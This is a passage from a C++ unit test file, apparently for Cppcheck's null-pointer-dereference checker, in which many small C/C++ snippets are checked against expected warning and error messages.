f = 0;\\n\"\n \" f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Null pointer dereference: f [nullPointer]\\n\", errout_str());\n\n check(\"int* g();\\n\" // #11007\n \"int* f() {\\n\"\n \" static int* (*fun)() = 0;\\n\"\n \" if (!fun)\\n\"\n \" fun = g;\\n\"\n \" return fun();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // loops..\n check(\"void f() {\\n\"\n \" int *p = 0;\\n\"\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" int x = *p + 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" const char *p = 0;\\n\"\n \" if (a) {\\n\"\n \" p = \\\"abcd\\\";\\n\"\n \" }\\n\"\n \" for (int i = 0; i < 3; i++) {\\n\"\n \" if (a && (p[i] == '1'));\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2251: taking the address of member\n check(\"void f() {\\n\"\n \" Fred *fred = 0;\\n\"\n \" int x = &fred->x;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3220: dereferencing a null pointer is UB\n check(\"void f() {\\n\"\n \" Fred *fred = NULL;\\n\"\n \" fred->do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Null pointer dereference: fred [nullPointer]\\n\", errout_str());\n\n // ticket #3570 - parsing of conditions\n {\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" if (x)\\n\"\n \" p = q;\\n\"\n \" if (p && *p) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" if (x)\\n\"\n \" p = q;\\n\"\n \" if (!p || *p) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" if (x)\\n\"\n \" p = q;\\n\"\n \" if (p || *p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n // ticket #8831 - FP triggered by if/return/else sequence\n {\n check(\"void f(int *p, int *q) {\\n\"\n \" if (p == NULL)\\n\"\n \" return;\\n\"\n \" else if (q == NULL)\\n\"\n \" return;\\n\"\n \" *q = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void g() {\\n\"\n \" f(NULL, NULL);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #5979\n \" int* const crash = 0;\\n\"\n \" *crash = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Null pointer dereference: crash [nullPointer]\\n\", errout_str());\n }\n\n // Ticket #2350\n void nullpointerExecutionPathsLoop() {\n // No false positive:\n check(\"void foo() {\\n\"\n \" int n;\\n\"\n \" int *argv32 = p;\\n\"\n \" if (x) {\\n\"\n \" n = 0;\\n\"\n \" argv32 = 0;\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (int i = 0; i < n; i++) {\\n\"\n \" argv32[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // No false negative:\n check(\"void foo() {\\n\"\n \" int n;\\n\"\n \" int *argv32;\\n\"\n \" if (x) {\\n\"\n \" n = 10;\\n\"\n \" argv32 = 0;\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (int i = 0; i < n; i++) {\\n\"\n \" argv32[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (warning) Possible null pointer dereference: argv32 [nullPointer]\\n\", errout_str());\n\n // #2231 - error if assignment in loop is not used\n // extracttests.start: int y[20];\n check(\"void f() {\\n\"\n \" char *p = 0;\\n\"\n \"\\n\"\n \" for (int x = 0; x < 3; ++x) {\\n\"\n \" if (y[x] == 0) {\\n\"\n \" p = (char *)malloc(10);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:6]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer7() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" wxLongLong x = 0;\\n\"\n \" int y = x.GetValue();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer9() { //#ticket 1778\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string * x = 0;\\n\"\n \" *x = \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Null pointer dereference: x [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer10() {\n // extracttests.start: struct my_type { int x; };\n check(\"void foo()\\n\"\n \"{\\n\"\n \" struct my_type* p = 0;\\n\"\n \" p->x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer11() { // ticket #2812\n // extracttests.start: struct my_type { int x; };\n\n check(\"int foo()\\n\"\n \"{\\n\"\n \" struct my_type* p;\\n\"\n \" p = 0;\\n\"\n \" return p->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer12() { // ticket #2470, #4035\n const char code[] = \"int foo()\\n\"\n \"{\\n\"\n \" int* i = nullptr;\\n\"\n \" return *i;\\n\"\n \"}\\n\";\n\n check(code); // C++ file => nullptr means NULL\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: i [nullPointer]\\n\", errout_str());\n\n check(code, dinit(CheckOptions, $.cpp = false, $.cstd = Standards::C17)); // C17 file => nullptr does not mean NULL\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:11]: (error) Null pointer dereference: i [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer15() { // #3560\n check(\"void f() {\\n\"\n \" char *p = 0;\\n\"\n \" if (x) p = \\\"abcd\\\";\\n\"\n \" return p ? f(*p) : f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer16() { // #3591\n check(\"void foo() {\\n\"\n \" int *p = 0;\\n\"\n \" bar(&p);\\n\"\n \" *p = 0;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer17() { // #3567\n check(\"int foo() {\\n\"\n \" int *p = 0;\\n\"\n \" if (x) { return 0; }\\n\"\n \" return !p || *p;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" int *p = 0;\\n\"\n \" if (x) { return 0; }\\n\"\n \" return p && *p;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer18() { // #1927\n check(\"void f ()\\n\"\n \"{\\n\"\n \" int i=0;\\n\"\n \" char *str=NULL;\\n\"\n \" while (str[i])\\n\"\n \" {\\n\"\n \" i++;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Null pointer dereference: str [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer19() { // #3811\n check(\"int foo() {\\n\"\n \" perror(0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer20() { // #3807\n check(\"void f(int x) {\\n\"\n \" struct xy *p = 0;\\n\"\n \" if (x) p = q;\\n\"\n \" if (p ? p->x || p->y : 0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // false negative\n \" struct xy *p = 0;\\n\"\n \" if (x) p = q;\\n\"\n \" if (y ? p->x : p->y) { }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Possible null pointer dereference: p\\n\", \"\", errout_str());\n }\n\n void nullpointer21() { // #4038 - fp: if (x) p=q; else return;\n check(\"void f(int x) {\\n\"\n \" int *p = 0;\\n\"\n \" if (x) p = q;\\n\"\n \" else return;\\n\"\n \" *p = 0;\\n\" // <- p is not NULL\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer23() { // #4665\n check(\"void f(){\\n\"\n \" char *c = NULL;\\n\"\n \" char cBuf[10];\\n\"\n \" sprintf(cBuf, \\\"%s\\\", c ? c : \\\"0\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void nullpointer24() { // #5083 - fp: chained assignment\n check(\"void f(){\\n\"\n \" char *c = NULL;\\n\"\n \" x = c = new char[10];\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer25() { // #5061\n check(\"void f(int *data, int i)\\n\"\n \"{\\n\"\n \" int *array = NULL;\\n\"\n \" if (data == 1 && array[i] == 0)\\n\"\n \" std::cout << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Null pointer dereference: array [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer26() { // #3589\n check(\"double foo() {\\n\"\n \" sk *t1 = foo();\\n\"\n \" sk *t2 = foo();\\n\"\n \" if ((!t1) && (!t2))\\n\"\n \" return 0.0;\\n\"\n \" if (t1 && (!t2))\\n\"\n \" return t1->Inter();\\n\"\n \" if (t2->GetT() == t)\\n\"\n \" return t2->Inter();\\n\"\n \" if (t2 && (!t1))\\n\"\n \" return 0.0;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer27() { // #6568\n check(\"template\\n\"\n \"class Foo {\\n\"\n \" Foo& operator = ( Type* );\\n\"\n \"};\\n\"\n \"template\\n\"\n \"Foo& Foo::operator = ( Type* pointer_ ) {\\n\"\n \" pointer_=NULL;\\n\"\n \" *pointer_=0;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:6]: (error) Null pointer dereference: pointer_ [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer28() { // #6491\n check(\"typedef struct { int value; } S;\\n\"\n \"int f(const S *s) {\\n\"\n \" int i = s ? s->value + 1\\n\"\n \" : s->value - 1; // <-- null ptr dereference\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11] -> [test.cpp:4:15]: (warning) Either the condition 's' is redundant or there is possible null pointer dereference: s. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer30() { // #6392\n check(\"void f(std::vector *values)\\n\"\n \"{\\n\"\n \" values->clear();\\n\"\n \" if (values)\\n\"\n \" {\\n\"\n \" for (int i = 0; i < values->size(); ++i)\\n\"\n \" {\\n\"\n \" values->push_back(\\\"test\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:3:3]: (warning) Either the condition 'values' is redundant or there is possible null pointer dereference: values. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer31() { // #8482\n check(\"struct F\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void foo(F* f)\\n\"\n \"{\\n\"\n \" if( f ) {}\\n\"\n \" else { return; }\\n\"\n \" (void)f->x;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef struct\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \"} F;\\n\"\n \"\\n\"\n \"static void foo(F* f)\\n\"\n \"{\\n\"\n \" if( !f || f->x == 0 )\\n\"\n \" {\\n\"\n \" if( !f )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" (void)f->x;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer32() { // #8460\n check(\"int f(int * ptr) {\\n\"\n \" if(ptr)\\n\"\n \" { return 0;}\\n\"\n \" else{\\n\"\n \" int *p1 = ptr;\\n\"\n \" return *p1;\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:6:13]: (warning) Either the condition 'ptr' is redundant or there is possible null pointer dereference: p1. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer33() {\n check(\"void f(int * x) {\\n\"\n \" if (x != nullptr)\\n\"\n \" *x = 2;\\n\"\n \" else\\n\"\n \" *x = 3;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:5:10]: (warning) Either the condition 'x!=nullptr' is redundant or there is possible null pointer dereference: x. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer34() {\n check(\"void g() {\\n\"\n \" throw \" \";\\n\"\n \"}\\n\"\n \"bool f(int * x) {\\n\"\n \" if (x) *x += 1;\\n\"\n \" if (!x) g();\\n\"\n \" return *x;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer35() {\n check(\"bool f(int*);\\n\"\n \"void g(int* x) {\\n\"\n \" if (f(x)) {\\n\"\n \" *x = 1;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int*);\\n\"\n \"void g(int* x) {\\n\"\n \" bool b = f(x);\\n\"\n \" if (b) {\\n\"\n \" *x = 1;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" g(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer36() {\n check(\"char* f(char* s) {\\n\"\n \" char* start = s;\\n\"\n \" if (!s)\\n\"\n \" return (s);\\n\"\n \" while (isspace(*start))\\n\"\n \" start++;\\n\"\n \" return (start);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer37() {\n check(\"void f(int value, char *string) {\\n\"\n \" char *ptr1 = NULL, *ptr2 = NULL;\\n\"\n \" unsigned long count = 0;\\n\"\n \" if(!string)\\n\"\n \" return;\\n\"\n \" ptr1 = string;\\n\"\n \" ptr2 = strrchr(string, 'a');\\n\"\n \" if(ptr2 == NULL)\\n\"\n \" return;\\n\"\n \" while(ptr1 < ptr2) {\\n\"\n \" count++;\\n\"\n \" ptr1++;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer38() {\n check(\"void f(int * x) {\\n\"\n \" std::vector v;\\n\"\n \" if (x) {\\n\"\n \" v.push_back(x);\\n\"\n \" *x;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer39() {\n check(\"struct A { int * x; };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->x == NULL) {}\\n\"\n \" *(a->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:14] -> [test.cpp:4:8]: (warning) Either the condition 'a->x==NULL' is redundant or there is possible null pointer dereference: a->x. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer40() {\n check(\"struct A { std::unique_ptr x; };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->x == nullptr) {}\\n\"\n \" *(a->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:14] -> [test.cpp:4:8]: (warning) Either the condition 'a->x==nullptr' is redundant or there is possible null pointer dereference: a->x. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer41() {\n check(\"struct A { int * g() const; };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->g() == nullptr) {}\\n\"\n \" *(a->g());\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16] -> [test.cpp:4:11]: (warning) Either the condition 'a->g()==nullptr' is redundant or there is possible null pointer dereference: a->g(). [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"struct A { int * g(); };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->g() == nullptr) {}\\n\"\n \" *(a->g());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer42() {\n check(\"struct A { std::unique_ptr g() const; };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->g() == nullptr) {}\\n\"\n \" *(a->g());\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16] -> [test.cpp:4:11]: (warning) Either the condition 'a->g()==nullptr' is redundant or there is possible null pointer dereference: a->g(). [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer43() {\n check(\"struct A { int* x; };\\n\"\n \"void f(A* a) {\\n\"\n \" int * x = a->x;\\n\"\n \" if (x) {\\n\"\n \" (void)*a->x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer44() {\n // #9395\n check(\"int foo( ) {\\n\"\n \" const B* b = getB();\\n\"\n \" const double w = ( nullptr != b) ? 42. : 0.0;\\n\"\n \" if ( w == 0.0 )\\n\"\n \" return 0;\\n\"\n \" return b->get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // #9423\n check(\"extern F* GetF();\\n\"\n \"extern L* GetL();\\n\"\n \"void Foo() {\\n\"\n \" const F* const fPtr = GetF();\\n\"\n \" const bool fPtrOk = fPtr != NULL;\\n\"\n \" assert(fPtrOk);\\n\"\n \" if (!fPtrOk)\\n\"\n \" return;\\n\"\n \" L* const lPtr = fPtr->l;\\n\"\n \" const bool lPtrOk = lPtr != NULL;\\n\"\n \" assert(lPtrOk);\\n\"\n \" if (!lPtrOk)\\n\"\n \" return;\\n\"\n \" lPtr->Clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer45() {\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"};\\n\"\n \"void g() { throw 0; }\\n\"\n \"a h(a * c) {\\n\"\n \" if (c && c->b()) {}\\n\"\n \" if (!c)\\n\"\n \" g();\\n\"\n \" if (!c->b())\\n\"\n \" g();\\n\"\n \" a d = *c->b();\\n\"\n \" return d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"};\\n\"\n \"void e() { throw 0; }\\n\"\n \"a f() {\\n\"\n \" a *c = 0;\\n\"\n \" if (0 && c->b()) {}\\n\"\n \" if (!c)\\n\"\n \" e();\\n\"\n \" if (!c->b())\\n\"\n \" e();\\n\"\n \" a d = *c->b();\\n\"\n \" return d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer46() {\n check(\"void f() {\\n\"\n \" char* p = new(std::nothrow) char[1];\\n\"\n \" if( p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer47() {\n check(\"void f(int *p) {\\n\"\n \" if(!p[0]) {}\\n\"\n \" const int *const a = p;\\n\"\n \" if(!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:2:8]: (warning) Either the condition '!a' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer48() {\n check(\"template\\n\"\n \"auto f(T& x) -> decltype(x);\\n\"\n \"int& g(int* x) {\\n\"\n \" return f(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer49() {\n check(\"void f(int *p, int n) {\\n\"\n \" int *q = 0;\\n\"\n \" if(n > 10) q = p;\\n\"\n \" *p +=2;\\n\"\n \" if(n < 120) *q+=12;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Possible null pointer dereference: q [nullPointer]\\n\", errout_str());\n\n check(\"void f(int *p, int n) {\\n\"\n \" int *q = 0;\\n\"\n \" if(n > 10) q = p;\\n\"\n \" *p +=2;\\n\"\n \" if(n > 10) *q+=12;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer50() {\n check(\"void f(int *p, int a) {\\n\"\n \" if(!p) {\\n\"\n \" if(a > 0) {\\n\"\n \" if(a > 10){}\\n\"\n \" else {\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:8] -> [test.cpp:6:18]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer51() {\n check(\"struct a {\\n\"\n \" a *b();\\n\"\n \"};\\n\"\n \"bool c(a *, const char *);\\n\"\n \"a *d(a *e) {\\n\"\n \" if (e) {}\\n\"\n \" if (c(e, \\\"\\\"))\\n\"\n \" return nullptr;\\n\"\n \" return e->b();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer52() {\n check(\"int f(int a, int* b) {\\n\"\n \" int* c = nullptr;\\n\"\n \" if(b) c = b;\\n\"\n \" if (!c) c = &a;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int* b) {\\n\"\n \" int* c = nullptr;\\n\"\n \" if(b) c = b;\\n\"\n \" bool d = !c;\\n\"\n \" if (d) c = &a;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"int f(int a, int* b) {\\n\"\n \" A c;\\n\"\n \" c.x = nullptr;\\n\"\n \" if(b) c.x = b;\\n\"\n \" if (!c.x) c.x = &a;\\n\"\n \" return *c.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"int f(int a, int* b) {\\n\"\n \" A c;\\n\"\n \" c.x = nullptr;\\n\"\n \" if(b) c.x = b;\\n\"\n \" bool d = !c.x;\\n\"\n \" if (d) c.x = &a;\\n\"\n \" return *c.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"int f(int a, int* b) {\\n\"\n \" A c;\\n\"\n \" c.x = nullptr;\\n\"\n \" if(b) c.x = b;\\n\"\n \" bool d = !c.x;\\n\"\n \" if (!d) c.x = &a;\\n\"\n \" return *c.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (warning) Possible null pointer dereference: c.x [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer53() {\n check(\"void f(int nParams, int* params) {\\n\"\n \" for (int n=1; nastParent() && tok3->str() == \\\",\\\")\\n\"\n \" tok3 = tok3->astParent();\\n\"\n \" if (tok3 && tok3->str() == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:3:12]: (warning) Either the condition 'tok3' is redundant or there is possible null pointer dereference: tok3. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(int* t1, int* t2) {\\n\"\n \" while (t1 && t2 &&\\n\"\n \" *t1 == *t2) {\\n\"\n \" t1 = nullptr;\\n\"\n \" t2 = nullptr;\\n\"\n \" }\\n\"\n \" if (!t1 || !t2)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int* i);\\n\"\n \"void g(int* i) {\\n\"\n \" while(f(i) && *i == 0)\\n\"\n \" i++;\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer56() {\n check(\"struct ListEntry {\\n\"\n \" struct ListEntry *next;\\n\"\n \"};\\n\"\n \"static void dostuff(ListEntry * listHead) {\\n\"\n \" ListEntry *prev = NULL;\\n\"\n \" for (ListEntry *cursor = listHead; cursor != NULL; prev = cursor, cursor = cursor->next) {}\\n\"\n \" if (prev) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer57() {\n check(\"void f() {\\n\"\n \" FILE* fptr = fopen(\\\"test\\\", \\\"r\\\");\\n\"\n \" if (fptr != nullptr) {\\n\"\n \" std::function fn([&] {\\n\"\n \" fclose(fptr);\\n\"\n \" fptr = NULL;\\n\"\n \" });\\n\"\n \" fgetc(fptr);\\n\"\n \" fn();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer58() {\n check(\"struct myStruct { char entry[0]; };\\n\"\n \"void f() {\\n\"\n \" struct myStruct* sPtr = NULL;\\n\"\n \" int sz = (!*(&sPtr) || ((*(&sPtr))->entry[0] > 15)) ?\\n\"\n \" sizeof((*(&sPtr))->entry[0]) : 123456789;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer59() {\n check(\"struct Box {\\n\"\n \" struct Box* prev;\\n\"\n \" struct Box* next;\\n\"\n \"};\\n\"\n \"void foo(Box** pfreeboxes) {\\n\"\n \" Box *b = *pfreeboxes;\\n\"\n \" *pfreeboxes = b->next;\\n\"\n \" if( *pfreeboxes )\\n\"\n \" (*pfreeboxes)->prev = nullptr;\\n\"\n \" b->next = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer60() {\n check(\"void f(){\\n\"\n \" char uuid[128];\\n\"\n \" char *s1;\\n\"\n \" memset(uuid, 0, sizeof(uuid));\\n\"\n \" s1 = strchr(uuid, '=');\\n\"\n \" s1 = s1 ? s1 + 1 : &uuid[5];\\n\"\n \" if (!strcmp(\\\"00000000000000000000000000000000\\\", s1) )\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer61() {\n check(\"struct a {\\n\"\n \" int *e;\\n\"\n \"};\\n\"\n \"struct f {\\n\"\n \" a *g() const;\\n\"\n \"};\\n\"\n \"void h() {\\n\"\n \" for (f b;;) {\\n\"\n \" a *c = b.g();\\n\"\n \" int *d = c->e;\\n\"\n \" if (d)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A* g() const;\\n\"\n \" A* h() const;\\n\"\n \"};\\n\"\n \"void f(A* a) {\\n\"\n \" if (!a->h())\\n\"\n \" return;\\n\"\n \" const A *b = a;\\n\"\n \" while (b && !b->h())\\n\"\n \" b = b->g();\\n\"\n \" if (!b || b == b->g()->h())\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer62() {\n check(\"struct A {\\n\"\n \" bool f()() const;\\n\"\n \"};\\n\"\n \"void a(A *x) {\\n\"\n \" std::string b = x && x->f() ? \\\"\\\" : \\\"\\\";\\n\"\n \" if (x) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool f()() const;\\n\"\n \"};\\n\"\n \"void a(A *x) {\\n\"\n \" std::string b = (!x || x->f()) ? \\\"\\\" : \\\"\\\";\\n\"\n \" if (x) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A * aa;\\n\"\n \"};\\n\"\n \"void b(A*);\\n\"\n \"void a(A *x) {\\n\"\n \" b(x ? x->aa : nullptr);\\n\"\n \" if (!x) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer63() {\n check(\"struct A {\\n\"\n \" A* a() const;\\n\"\n \" A* b() const;\\n\"\n \"};\\n\"\n \"A* f(A*);\\n\"\n \"void g(const A* x) {\\n\"\n \" A *d = x->a();\\n\"\n \" d = f(d->b()) ? d->a() : nullptr;\\n\"\n \" if (d && f(d->b())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer64() {\n check(\"struct A {\\n\"\n \" A* f() const;\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"bool a;\\n\"\n \"bool b(A* c) 